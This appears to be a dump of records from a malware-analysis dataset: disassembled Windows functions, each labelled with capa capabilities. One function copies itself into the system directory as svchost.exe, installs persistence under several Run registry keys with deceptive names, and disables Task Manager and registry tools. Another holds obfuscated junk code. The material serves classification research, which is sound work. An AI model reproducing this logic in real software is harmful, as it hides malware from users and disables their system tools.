joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452488
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x46257c]
cmp dword [eax + 0x30], 0
je 0x452532
cmp dword [ebx + 0x94], 0
jne 0x45252c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x452418
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45252c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4524f2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45252c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414328
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x452501
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45324c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x453281
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404784
jmp 0x45328e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004046e8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x454608
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x454676
mov eax, esi
call fcn.0043ee80
test al, al
je 0x454676
mov eax, dword [ebx + 0x84]
call fcn.0043eb84
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x454676
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x45466a
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043eb84
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00437070
jmp 0x454676
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.00454444
pop esi
pop ebx
ret
Function at 0x4018c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40197c
cmp byte [esi + 0x3d], 0
je 0x40197c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40196a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x401931
sub eax, 1
je 0x401935
sub eax, 2
jne 0x40196a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004032a2
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x401953
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40196a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004032a2
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004032a2
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.004032a2
mov esp, ebp
pop ebp
ret
Function at 0x402710
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push edi
push 0x103
push eax
mov dword [ebp - 0x110], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
nop dword [eax]
mov cl, byte [eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x402750
mov ecx, dword [0x405360]
mov dword [eax], ecx
mov ecx, dword [0x405364]
mov dword [eax + 4], ecx
mov cl, byte [0x405368]
mov byte [eax + 8], cl
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x108]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402790
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x405370]
mov dword [ecx + 4], eax
mov eax, dword [0x405374]
mov dword [ecx + 8], eax
mov al, byte [0x405378]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x108]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004032a2
mov esp, ebp
pop ebp
ret
Function at 0x402d50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x402d71
jl 0x402d67
test esi, esi
jne 0x402d71
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402d88
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
pop ebp
ret 0xc
push edi
mov edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
test eax, eax
je 0x402dbe
cmp eax, dword [ebp + 0xc]
mov ecx, ebx
cmovb esi, eax
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push esi
push eax
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
add dword [ebp + 8], esi
add esp, 0xc
mov ecx, ebx
sub edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x402e2d
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebx + 0x3c]
cmp eax, ecx
jne 0x402de6
push dword [ebx + 0x54]
mov eax, dword [ebx + 0x50]
mov ecx, ebx
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x402e1b
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x402e2d
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x402df5
test ecx, ecx
je 0x402e2d
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
pop ebp
ret 0xc
Function at 0x402e40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x402e65
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x402ed0
jg 0x402e8b
test esi, esi
je 0x402ed0
test ecx, ecx
jl 0x402f0a
jg 0x402e95
test eax, eax
je 0x402f0a
cmp edi, ecx
jg 0x402ea5
jl 0x402e9f
cmp esi, eax
jae 0x402ea5
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov eax, dword [ebp + 8]
test edi, edi
jl 0x402ef7
jg 0x402edd
test esi, esi
je 0x402ef7
mov ecx, dword [ebx + 0x4c]
test ecx, ecx
je 0x402ef7
push ecx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
jmp 0x402edd
Function at 0x403b2f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403b6e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403b6e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403b6e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403b6e
cmp dword [ecx + 0x74], 0xe
jbe 0x403b6e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407048
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push 0
push 0
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
sub eax, 3
mov edx, dword es:[ecx]
push edx
imul ax, word [esp]
pop edx
movzx eax, al
cmp ax, 0x7c
je 0x4070a6
push 0
push 1
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
cmp eax, dword [edx + ebp]
je 0x4070e7
mov eax, 0x4070a1
lea eax, [edx + eax]
push ebp
sub esp, 4
mov dword [esp], eax
push 0
call 0x4070e1
test eax, eax
jne 0x4070c0
jmp 0x4070e7
leave
push ecx
retf
cmc
nop
mov eax, esp
lea eax, [eax + 8]
mov ecx, eax
or eax, dword [ecx]
and eax, dword [ecx]
cld
or eax, 7
xchg dword es:[esp + 0xc], edx
lea eax, cs:[eax + 0x789691]
xchg ecx, eax
xchg esi, eax
js 0x4070c4
lea eax, [eax - 0x783648]
sub edx, 0x1b4
add dword [edx], eax
mov ecx, dword [esp]
sub esp, 0xffffffec
sub eax, eax
push cs
pop dx
push dx
je 0x4070a3
jmp dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
add byte [eax], al
add byte [eax], al
adc al, byte [eax]
mov esp, dword [edx + edx*8 + 0x35d38b00]
int 0x9a
xor eax, 0x39a7ec5e
loope 0x40710d
add byte [ebx - 0x74ff4ded], cl
hlt
push ecx
dec byte [edi]
cmpsb byte [esi], byte es:[edi]
pushal
add byte [ebx + 0x53fe9ebc], cl
jne 0x4070f6
mov eax, dword [0xdb775fed]
retf 0x8a11
Function at 0xaa4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00aa41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaa407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa406a
add dl, dl
jne 0xaa4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa40dc
xor eax, eax
add dl, dl
jne 0xaa4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaa417d
add dl, dl
jne 0xaa40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaa40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaa4075
mov eax, 1
add dl, dl
jne 0xaa40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaa40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa40e1
sub eax, ebx
mov ebx, 1
jne 0xaa4128
mov ecx, 1
add dl, dl
jne 0xaa410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaa4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaa413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaa414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaa4136
cmp eax, 0x7d00
jae 0xaa416d
cmp eax, 0x500
jb 0xaa4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa4075
cmp eax, 0x7f
ja 0xaa4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaa4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaa419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaa4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x187c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0187c1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x187c07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x187c06a
add dl, dl
jne 0x187c089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x187c0dc
xor eax, eax
add dl, dl
jne 0x187c096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x187c17d
add dl, dl
jne 0x187c0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x187c0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x187c0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x187c0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x187c0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x187c075
mov eax, 1
add dl, dl
jne 0x187c0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x187c0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x187c0e1
sub eax, ebx
mov ebx, 1
jne 0x187c128
mov ecx, 1
add dl, dl
jne 0x187c10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x187c119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x187c105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x187c075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x187c13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x187c14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x187c136
cmp eax, 0x7d00
jae 0x187c16d
cmp eax, 0x500
jb 0x187c168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x187c075
cmp eax, 0x7f
ja 0x187c170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x187c075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x187c19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x187c075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x404c70
Capabilities:
Reference sql statements

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x28]
mov ecx, eax
shr eax, 5
mov edx, eax
shl eax, 5
nop
nop
sub ecx, eax
mov ebx, dword [esp + 0x2c]
add ebx, ecx
mov dword [esp + 0x2c], ebx
mov ebp, dword [esp + 0x24]
add edx, ebp
mov ebp, dword [esp + 0x20]
add eax, ebp
mov dword [esp + 0x18], eax
xor ebp, ebp
xor esi, esi
jmp 0x404ca8
add ebp, 4
cmp ebp, ebx
jae 0x404d0d
test ebp, 0x1f
jne 0x404d09
movzx esi, byte [edx]
nop
inc edx
test ecx, ecx
jbe 0x404cc2
add ecx, 0xfffffffc
jmp 0x404ca5
test esi, 1
je 0x404ca5
mov dword [esp + 8], ebp
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
mov ecx, dword [ebp + eax]
mov dword [esp], ecx
call fcn.004046a0
movzx eax, byte [esp + 4]
test al, al
jne 0x404d11
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x2c]
mov ebp, dword [esp + 8]
mov esi, dword [esp + 0xc]
jmp 0x404ca5
shr esi, 1
jmp 0x404cb9
add esp, 0x1c
ret
lea eax, [0xd62e3f]
mov dword [esp], eax
mov dword [esp + 4], 0x24
call fcn.0042e730
nop
int3
Function at 0x4086d0
Capabilities:
Hash data using murmur3

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4088ce
sub esp, 0x10
movzx eax, byte [0x144d861]
test al, al
jne 0x4088a6
mov eax, dword [0x144dd90]
mov ecx, dword [esp + 0x1c]
imul eax, ecx
mov edx, dword [esp + 0x18]
add eax, edx
mov ebx, dword [esp + 0x14]
jmp 0x408776
mov edx, dword [ebx]
xor edx, eax
imul eax, edx, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov edx, dword [ebx + 4]
xor edx, ebp
imul edx, edx, 0xc70f85e1
rol edx, 0xf
imul ebp, edx, 0x319bca41
mov edx, dword [ebx + 8]
xor edx, esi
imul edx, edx, 0x319bca41
rol edx, 0xf
imul esi, edx, 0x8b421a21
mov edx, dword [ebx + 0xc]
xor edx, edi
imul edx, edx, 0x8b421a21
rol edx, 0xf
imul edi, edx, 0xbce2d621
nop
add ecx, 0xfffffff0
add ebx, 0x10
mov edx, dword [esp + 0x18]
cmp ecx, 0x10
jae 0x408711
xor eax, ebp
xor eax, esi
xor eax, edi
test ecx, ecx
je 0x40880a
cmp ecx, 4
jb 0x408874
je 0x40885f
cmp ecx, 8
jbe 0x408833
cmp ecx, 0x10
jbe 0x4087b8
mov ebp, dword [0x144dd94]
imul ebp, edx
mov esi, dword [0x144dd98]
imul esi, edx
mov edi, dword [0x144dd9c]
imul edi, edx
jmp 0x40876b
mov edx, ebx
lea ebp, [ecx + ebx - 8]
lea ecx, [ecx + ebx - 4]
mov ebx, dword [edx]
xor eax, ebx
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor eax, dword [edx + 4]
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor eax, dword [ebp]
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
xor eax, dword [ecx]
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov ecx, eax
shr eax, 0x11
xor ecx, eax
imul eax, ecx, 0x319bca41
mov ecx, eax
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0x8b421a21
mov ecx, eax
shr eax, 0x10
xor eax, ecx
mov dword [esp + 0x20], eax
add esp, 0x10
ret
mov edx, ebx
lea ecx, [ecx + ebx - 4]
mov edx, dword [edx]
xor eax, edx
imul edx, eax, 0xbce2d621
rol edx, 0xf
imul edx, edx, 0xc70f85e1
xor edx, dword [ecx]
imul ecx, edx, 0xbce2d621
rol ecx, 0xf
imul eax, ecx, 0xc70f85e1
jmp 0x40880a
mov ecx, dword [ebx]
xor eax, ecx
imul ecx, eax, 0xbce2d621
rol ecx, 0xf
imul eax, ecx, 0xc70f85e1
jmp 0x40880a
mov edx, ebx
lea ebx, [ecx + ebx - 1]
movzx ebp, byte [edx]
xor eax, ebp
shr ecx, 1
movzx ecx, byte [edx + ecx]
shl ecx, 8
xor ecx, eax
movzx edx, byte [ebx]
shl edx, 0x10
xor edx, ecx
imul ecx, edx, 0xbce2d621
rol ecx, 0xf
imul eax, ecx, 0xc70f85e1
jmp 0x40880a
mov eax, dword [esp + 0x14]
mov dword [esp], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], eax
call fcn.00457cd0
mov eax, dword [esp + 0xc]
mov dword [esp + 0x20], eax
add esp, 0x10
ret
call fcn.004567f0
jmp fcn.004086d0
Function at 0x40a260
Capabilities:
Reference sql statements

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40a391
sub esp, 0x18
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
cmp dword [ecx], eax
jne 0x40a37a
mov dword [esp + 0x10], eax
mov dword [esp], ecx
call fcn.0042c070
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x1c]
test byte [ecx], al
mov dword [esp], ecx
mov dword [esp + 4], 0
mov edx, dword [esp + 0x14]
mov dword [esp + 8], edx
call fcn.004024c0
movzx eax, byte [esp + 0xc]
test al, al
je 0x40a357
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x85], 1
mov ecx, dword [0xbace4c]
mov ecx, dword [ecx]
test ecx, ecx
jne 0x40a31b
jmp 0x40a341
mov dword [esp], 0x989680
mov dword [esp + 4], 0
call fcn.0042be00
mov eax, dword [0xbace4c]
mov eax, dword [eax]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00457a20
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.004024e0
mov eax, dword [esp + 4]
test eax, eax
je 0x40a2ef
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x18]
mov byte [eax + 0x85], 0
add esp, 0x18
ret
mov dword [esp], 0xffffffff
mov dword [esp + 4], 0xffffffff
call fcn.0042be00
jmp 0x40a32f
mov eax, dword [esp + 0x1c]
cmp dword [eax], 1
jne 0x40a364
add esp, 0x18
ret
lea eax, [0xd5ba63]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.0042e730
lea eax, [0xd4ff82]
mov dword [esp], eax
mov dword [esp + 4], 0x13
call fcn.0042e730
nop
call fcn.004567f0
jmp fcn.0040a260
Function at 0x40a680
Capabilities:
Reference sql statements

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40a709
sub esp, 0x1c
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
cmp dword [ecx], eax
jne 0x40a6f2
mov dword [esp], ecx
call fcn.0042c070
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call fcn.0040a3a0
movzx eax, byte [esp + 0x18]
mov byte [esp + 0x2c], al
add esp, 0x1c
ret
lea eax, [0xd51299]
mov dword [esp], eax
mov dword [esp + 4], 0x14
call fcn.0042e730
nop
call fcn.004567f0
jmp fcn.0040a680